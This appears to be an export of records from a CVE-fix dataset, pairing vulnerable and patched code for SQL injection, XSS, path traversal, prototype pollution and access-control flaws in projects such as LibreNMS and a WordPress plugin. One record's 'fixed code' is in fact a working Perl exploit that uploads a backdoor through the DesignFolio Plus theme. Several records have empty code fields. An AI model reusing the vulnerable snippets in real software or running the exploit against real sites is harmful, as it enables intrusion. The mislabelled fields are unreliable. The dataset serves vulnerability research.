hitoshura25/cvefixes huggingface dataset:
CVE-2023-5591 (PHP, published 2023-10-16T01:15Z)
Description: value:  SQL Injection in GitHub repository librenms/librenms prior to 23.10.0.
Severity: nan (CVSS v3 base score: 6.5)
Weakness: CWE-89 \u2014 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Repository: https://github.com/librenms/librenms
Files changed:
includes/html/table/address-search.inc.php
Commit message: Fix MAC search sql injection (#15402)

unparameterized variable

Vulnerable code:
    $sql .= " WHERE I.device_id = D.device_id AND `ifPhysAddress` LIKE '%" . trim(str_replace([':', ' ', '-', '.', '0x'], '', $vars['address'])) . "%' $where ";

Fixed code:
    $sql .= " WHERE I.device_id = D.device_id AND `ifPhysAddress` LIKE ? $where ";
    $param[] = '%' . trim(str_replace([':', ' ', '-', '.', '0x'], '', $vars['address'])) . '%';
CVE-2024-32461 (PHP, published 2024-04-22T22:15Z)
Description: value: LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A SQL injection vulnerability in POST /search/search=packages in LibreNMS prior to version 24.4.0 allows a user with global read privileges to execute SQL commands via the package parameter. With this vulnerability, an attacker can exploit a SQL injection time based vulnerability to extract all data from the database, such as administrator credentials. Version 24.4.0 contains a patch for the vulnerability.

Severity: nan (CVSS v3 base score: )
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/librenms/librenms
Files changed:
includes/html/pages/search/packages.inc.php
Commit message: Fix SQL injection issues in packages search (#15950)

https://github.com/librenms/librenms/security/advisories/GHSA-cwx6-cx7x-4q34

Vulnerable code:
    $results = $_POST['results'];
$full_query = '';
$query .= " WHERE packages.device_id = devices.device_id AND packages.name LIKE '%" . $_POST['package'] . "%' $sql_where GROUP BY packages.name";
$full_query = $full_query . $query . " LIMIT $start,$results";

Fixed code:
    $results = (int) $_POST['results_amount'];
$query .= " WHERE packages.device_id = devices.device_id AND packages.name LIKE ? $sql_where GROUP BY packages.name";
$param[] = '%' . $_POST['package'] . '%';
$full_query = $query . " LIMIT $start,$results";
CVE-2024-32480 (PHP, published 2024-04-22T23:15Z)
Description: value: LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Versions prior to 24.4.0 are vulnerable to SQL injection. The `order` parameter is obtained from `$request`. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability. An attacker may extract a whole database this way. Version 24.4.0 fixes the issue.
Severity: nan (CVSS v3 base score: )
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/librenms/librenms
Files changed:
includes/html/api_functions.inc.php
Commit message: Improve order validation in list_devices function to prevent SQL injection (#15885)



Vulnerable code:
    if (empty($order)) {
        $order = 'hostname';
    }

    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
        $order = 'd.`' . $order . '` ASC';

Fixed code:
    if (preg_match('/^([a-z_]+)(?: (desc|asc))?$/i', $order, $matches)) {
        $order = "d.`$matches[1]` " . ($matches[2] ?? 'ASC');
    } else {
        $order = 'd.`hostname` ASC';
CVE-2023-41336 (PHP, published 2023-09-11T20:15Z)
Description: value: ux-autocomplete is a JavaScript Autocomplete functionality for Symfony. Under certain circumstances, an attacker could successfully submit an entity id for an `EntityType` that is *not* part of the valid choices. The problem has been fixed in `symfony/ux-autocomplete` version 2.11.2.
Severity: nan (CVSS v3 base score: 6.5)
Weakness: CWE-20 \u2014 Improper Input Validation
The product receives input or data, but it does
        not validate or incorrectly validates that the input has the
        properties that are required to process the data safely and
        correctly.
Repository: https://github.com/symfony/ux-autocomplete
Files changed:
src/Form/AutocompleteEntityTypeSubscriber.php
tests/Functional/AutocompleteFormRenderingTest.php
Commit message: Fixing autocomplete security bug by using the query_builder


Vulnerable code:
use Doctrine\Common\Collections\ArrayCollection;
use Doctrine\ORM\Query\Parameter;
            /** @var EntityManagerInterface $em */
            $em = $options['em'];
            $repository = $em->getRepository($options['class']);

                    $params[":id_$idx"] = new Parameter("id_$idx", $id, $idType);
                $queryBuilder = $repository->createQueryBuilder('o');

                        ->where(sprintf("o.$idField IN (%s)", implode(', ', array_keys($params))))
                        ->setParameters(new ArrayCollection($params));
                $options['choices'] = $repository->createQueryBuilder('o')
                    ->where("o.$idField = :id")
            ->assertContains('First cat')

Fixed code:
        /** @var EntityManagerInterface $em */
        $em = $options['em'];
        $repository = $em->getRepository($options['class']);
        $queryBuilder = $options['query_builder'] ?: $repository->createQueryBuilder('o');
        $rootAlias = $queryBuilder->getRootAliases()[0];

                    $params[":id_$idx"] = [$id, $idType];
                        ->andWhere(sprintf("$rootAlias.$idField IN (%s)", implode(', ', array_keys($params))))
                    ;
                    foreach ($params as $key => $param) {
                        $queryBuilder->setParameter($key, $param[0], $param[1]);
                    }
                $options['choices'] = $queryBuilder
                    ->andWhere("$rootAlias.$idField = :id")
        $fooCat = CategoryFactory::createOne(['name' => 'I contain "foo" which CategoryAutocompleteType uses its query_builder option.']);

            // the option does NOT match something returned by query_builder
            // so ONLY the placeholder shows up
            ->assertElementCount('#product_category_autocomplete option', 1)
            ->assertNotContains('First cat')

            ->assertNotContains('First cat')
            ->post('/test-form', [
                'body' => [
                    'product' => ['category' => ['autocomplete' => $fooCat->getId()]],
                ],
            ])
            ->assertContains('which CategoryAutocompleteType uses')
CVE-2021-41098 (Unknown, published 2021-09-27T20:15Z)
Description: value: Nokogiri is a Rubygem providing HTML, XML, SAX, and Reader parsers with XPath and CSS selector support. In Nokogiri v1.12.4 and earlier, on JRuby only, the SAX parser resolves external entities by default. Users of Nokogiri on JRuby who parse untrusted documents using any of these classes are affected: Nokogiri::XML::SAX::Parse, Nokogiri::HTML4::SAX::Parser or its alias Nokogiri::HTML::SAX::Parser, Nokogiri::XML::SAX::PushParser, and Nokogiri::HTML4::SAX::PushParser or its alias Nokogiri::HTML::SAX::PushParser. JRuby users should upgrade to Nokogiri v1.12.5 or later to receive a patch for this issue. There are no workarounds available for v1.12.4 or earlier. CRuby users are not affected.
Severity: MEDIUM (CVSS v3 base score: 7.5)
Weakness: CWE-611 \u2014 Improper Restriction of XML External Entity Reference
The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.
Repository: https://github.com/sparklemotion/nokogiri
Files changed:
Commit message: Merge pull request #2328 from sparklemotion/flavorjones-GHSA-2rr5-8q37-2w7h_main

fix JRuby SAX parser entity handling

Vulnerable code:

Fixed code:
CVE-2015-10087 (Perl, published 2023-03-07T15:15Z)
Description: value: ** UNSUPPORTED WHEN ASSIGNED ** A vulnerability has been found in UpThemes Theme DesignFolio Plus 1.2 on WordPress and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of the patch is 53f6ae62878076f99718e5feb589928e83c879a9. It is recommended to apply a patch to fix this issue. The identifier VDB-221809 was assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
Severity: nan (CVSS v3 base score: 8.8)
Weakness: CWE-434 \u2014 Unrestricted Upload of File with Dangerous Type
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
Repository: https://github.com/CCrashBandicot/exploit
Files changed:
DesignFolio.pl
Commit message: WordPress Theme DesignFolio Plus 1.2 - Arbitrary File Upload Vulnerability

Vulnerable code:

Fixed code:
#!/usr/bin/perl
  
use Digest::MD5 qw(md5 md5_hex);
use MIME::Base64;
use IO::Socket;
use LWP::UserAgent;
  
    system(($^O eq 'MSWin32') ? 'cls' : 'clear');
        print "\n\t     ! *** #  ^_^ # *** !\n\t      :p\n\n";
  
$use = "\n\t  [!] ./$0 127.0.0.1 backdoor.php";
  
($target ,$file) = @ARGV;
  
die "$use" unless $ARGV[0] && $ARGV[1];
  
if($target =~ /http:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /http:\/\/(.*)/){ $target = $1; }
elsif($target =~ /https:\/\/(.*)\//){ $target = $1; }
elsif($target =~ /https:\/\/(.*)/){ $target = $1; }
  
my $addr = inet_ntoa((gethostbyname($target))[4]);
my $digest = md5_hex($addr);
my $dir = encode_base64('../../../../');
  
my $ua = LWP::UserAgent->new( agent => q{Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36},);
$pst = $ua->post("http://".$target."/wp-content/themes/designfolio-plus/admin/upload-file.php", Content_Type => 'form-data', Content => [ $digest => [$file] , upload_path => $dir ]);
if($pst->is_success) { print "[+] Backdoor Uploaded !"; } else { print "\n [-] Bad Response Header :/ FAIL"; }
  
__END__
CVE-2020-26279 (Go, published 2021-03-24T21:15Z)
Description: value: go-ipfs is an open-source golang implementation of IPFS which is a global, versioned, peer-to-peer filesystem. In go-ipfs before version 0.8.0-rc1, it is possible for path traversal to occur with DAGs containing relative paths during retrieval. This can cause files to be overwritten, or written to incorrect output directories. The issue can only occur when a get is done on an affected DAG. This is fixed in version 0.8.0-rc1.
Severity: MEDIUM (CVSS v3 base score: 8.1)
Weakness: CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Repository: https://github.com/whyrusleeping/tar-utils
Files changed:
extractor.go
Commit message: more closely match default tar errors (GNU + BSD binaries)


Vulnerable code:
	elems := strings.Split(tarPath, "/")    // break into elems

Fixed code:
	elems := strings.Split(tarPath, "/") // break into elems
	for _, e := range elems {
		if e == ".." {
			return "", fmt.Errorf("%s : path contains '..'", tarPath)
		}
	}
CVE-2020-36566 (Go, published 2022-12-27T22:15Z)
Description: value: Due to improper path sanitization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.
Severity: nan (CVSS v3 base score: 9.1)
Weakness: CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Repository: https://github.com/whyrusleeping/tar-utils
Files changed:
extractor.go
Commit message: more closely match default tar errors (GNU + BSD binaries)


Vulnerable code:
	elems := strings.Split(tarPath, "/")    // break into elems

Fixed code:
	elems := strings.Split(tarPath, "/") // break into elems
	for _, e := range elems {
		if e == ".." {
			return "", fmt.Errorf("%s : path contains '..'", tarPath)
		}
	}
CVE-2023-30797 (Unknown, published 2023-04-19T20:15Z)
Description: value: 

Netflix Lemur before version 1.3.2 used insufficiently random values when generating default credentials. The insufficiently random values may allow an attacker to guess the credentials and gain access to resources managed by Lemur.



Severity: nan (CVSS v3 base score: 7.5)
Weakness: CWE-330 \u2014 Use of Insufficiently Random Values
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.
Repository: https://github.com/Netflix/lemur
Files changed:
Commit message: Merge pull request from GHSA-5fqv-mpj8-h7gm

Security fix

Vulnerable code:

Fixed code:
CVE-2024-31206 (TypeScript, published 2024-04-04T23:15Z)
Description: value: dectalk-tts is a Node package to interact with the aeiou Dectalk web API. In `dectalk-tts@1.0.0`, network requests to the third-party API are sent over HTTP, which is unencrypted. Unencrypted traffic can be easily intercepted and modified by attackers. Anyone who uses the package could be the victim of a man-in-the-middle (MITM) attack. The network request was upgraded to HTTPS in version `1.0.1`. There are no workarounds, but some precautions include not sending any sensitive information and carefully verifying the API response before saving it.
Severity: nan (CVSS v3 base score: )
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/JstnMcBrd/dectalk-tts
Files changed:
src/index.ts
Commit message: Send request over HTTPS (#4)



Vulnerable code:
	const url = new URL('http://tts.cyzon.us/tts');

Fixed code:
	const url = new URL('https://tts.cyzon.us/tts');
CVE-2020-7772 (JSON, published 2020-11-15T15:15Z)
Description: value: This affects the package doc-path before 2.1.2.
Severity: HIGH (CVSS v3 base score: 9.8)
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/mrodrig/doc-path
Files changed:
.travis.yml
package-lock.json
package.json
src/path.js
test/tests.js
Commit message: Fix issue presented in #14


Vulnerable code:
  - "11"
  - "9"
  - "8"
    "version": "2.1.1",
    "version": "2.1.1",
        "node": ">=6.0"
    // if (currentKey === '__proto__' || currentKey === 'prototype' && Object.prototype.hasOwnProperty.call(document, currentKey)) {
    if (currentKey === '__proto__') {
        // Refuse to modify anything on __proto__, return the document
        return document;
    } else if (indexOfDot >= 0) {
            return document.forEach((doc) => setPath(doc, keyPath, value));
        setPath(document[currentKey], remainingKeyPath, value);
        return document.forEach((doc) => setPath(doc, remainingKeyPath, value));
            path.setPath(doc, '__proto__.polluted', 'yes');

Fixed code:
    "version": "2.1.2",
    "version": "2.1.2",
        "node": ">=10"
    if (!document) {
        throw new Error('No document was provided.');
    } else if (!keyPath) {
        throw new Error('No keyPath was provided.');
    }

    // If this is clearly a prototype pollution attempt, then refuse to modify the path
    if (keyPath.startsWith('__proto__') || keyPath.startsWith('constructor')) {
        return document;
    }

    return _setPath(document, keyPath, value);
}

function _setPath(document, keyPath, value) {
    if (indexOfDot >= 0) {
            return document.forEach((doc) => _setPath(doc, keyPath, value));
        _setPath(document[currentKey], remainingKeyPath, value);
        return document.forEach((doc) => _setPath(doc, remainingKeyPath, value));
            path.setPath(doc, '__proto__.polluted', 'prototype-polluted');

        it('should protect against prototype pollution via constructor', (done) => {
            doc = {};
            path.setPath(doc, 'constructor', 'prototype-polluted');
            assert.equal(doc.constructor, Object);
            path.setPath(doc, 'constructor.prototype.test', 'prototype-polluted');
            assert.equal(doc.test, undefined);
            done();
        });
CVE-2023-32312 (Unknown, published 2023-06-09T20:15Z)
Description: value: UmbracoIdentityExtensions is an Umbraco add-on package that enables easy extensibility points for ASP.Net Identity integration. In affected versions client secrets are not required which may expose some endpoints to untrusted actors. Since Umbraco is not a single-page application, the implicit flow is not safe. For traditional MVC applications, it is recommended to use the authorization code flow, which requires the client to authenticate with the authorization server using a client secret. This flow provides better security, as it involves exchanging an authorization code for an access token and/or ID token, rather than directly returning tokens in the URL fragment. This issue has been patched in commit `e792429f9` and a release to Nuget is pending. Users are advised to upgrade when possible.
Severity: nan (CVSS v3 base score: 5.3)
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/umbraco/UmbracoIdentityExtensions
Files changed:
Commit message: Merge pull request from GHSA-f2rf-8mwf-6jfh

ClientSecret for Azure AD Auth for release/v2.0

Vulnerable code:

Fixed code:
CVE-2019-25156 (PHP, published 2023-11-07T06:15Z)
Description: value: A vulnerability classified as problematic was found in dstar2018 Agency up to 61. Affected by this vulnerability is an unknown functionality of the file search.php. The manipulation of the argument QSType/QuickSearch leads to cross site scripting. The attack can be launched remotely. The patch is named 975b56953efabb434519d9feefcc53685fb8d0ab. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-244495.
Severity: nan (CVSS v3 base score: 6.1)
Weakness: CWE-79 \u2014 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Repository: https://github.com/dstar2018/agency-code-repo
Files changed:
search.php
Commit message: Fix XSS vulnerability in search.php.  SF bug #5.
Some IT security students at the University of Darmstadt in Germany were kind enough to find and report this issue.


Vulnerable code:
$qs_type = $_REQUEST['QSType'];
	out(alert_mark('Unknown Quick Search Type: '.$qs_type));
		$out = object_quick_search($qs_type,$_REQUEST['QuickSearch']);

Fixed code:
$qs_type = strip_tags($_REQUEST['QSType']);
$qs_text = strip_tags($_REQUEST['QuickSearch']);
	out(alert_mark(webify('Unknown Quick Search Type: '.$qs_type)));
		$out = object_quick_search($qs_type,$qs_text);
CVE-2024-2417 (PHP, published 2024-05-02T17:15Z)
Description: value: The User Registration – Custom Registration Form, Login Form, and User Profile WordPress Plugin plugin for WordPress is vulnerable to privilege escalation due to a missing capability check on the form_save_action() function in all versions up to, and including, 3.1.5. This makes it possible for authenticated attackers, with subscriber-level access and above, to update the registration form and make the default registration role administrator. This subsequently allows the attacker to register an account as an administrator on the site.
Severity: nan (CVSS v3 base score: 8.8)
Weakness: NVD-CWE-noinfo \u2014 Insufficient Information
There is insufficient information about the issue to classify it; details are unkown or unspecified.
Repository: https://github.com/wpeverest/user-registration
Files changed:
includes/class-ur-ajax.php
Commit message: Security - Vulnerability issue while saving form and removing profile picture


Vulnerable code:
			'profile_pic_remove'        => true,
		if ( file_exists( get_attached_file( $attachment_id ) ) && ! unlink( get_attached_file( $attachment_id ) ) ) {
		}

		$user_id = get_current_user_id();
		if ( $user_id > 0 ) {
			update_user_meta( $user_id, 'user_registration_profile_pic_url', '' );

Fixed code:
			'profile_pic_remove'        => false,
			if ( ! current_user_can( 'manage_options' ) ) {
				throw new Exception( __( "You don't have enough permission to perform this task. Please contact the Administrator.", 'user-registration' ) );
			}

		if ( is_user_logged_in() ) {
			$user_id             = get_current_user_id();
			$user_profile_pic_id = get_user_meta( $user_id, 'user_registration_profile_pic_url' );

			if ( $user_profile_pic_id == $attachment_id ) {

				if ( file_exists( get_attached_file( $attachment_id ) ) && ! unlink( get_attached_file( $attachment_id ) ) ) {
					wp_send_json_error(
						array(
							'message' => esc_html__( 'File cannot be removed', 'user-registration' ),
						)
					);
				}
					update_user_meta( $user_id, 'user_registration_profile_pic_url', '' );
			} else {
				wp_send_json_error(
					array(
						'message' => esc_html__( 'File cannot be removed', 'user-registration' ),
					)
				);
			}
		} else {
CVE-2021-4048 (Unknown, published 2021-12-08T22:15Z)
Description: value: An out-of-bounds read flaw was found in the CLARRV, DLARRV, SLARRV, and ZLARRV functions in lapack through version 3.10.0, as also used in OpenBLAS before version 0.3.18. Specially crafted inputs passed to these functions could cause an application using lapack to crash or possibly disclose portions of its memory.
Severity: MEDIUM (CVSS v3 base score: 9.1)
Weakness: CWE-125 \u2014 Out-of-bounds Read
The product reads data past the end, or before the beginning, of the intended buffer.
Repository: https://github.com/Reference-LAPACK/lapack
Files changed:
Commit message: Merge pull request #625 from JuliaComputing/kf/slarrvbounds

Thank you!

Vulnerable code:

Fixed code: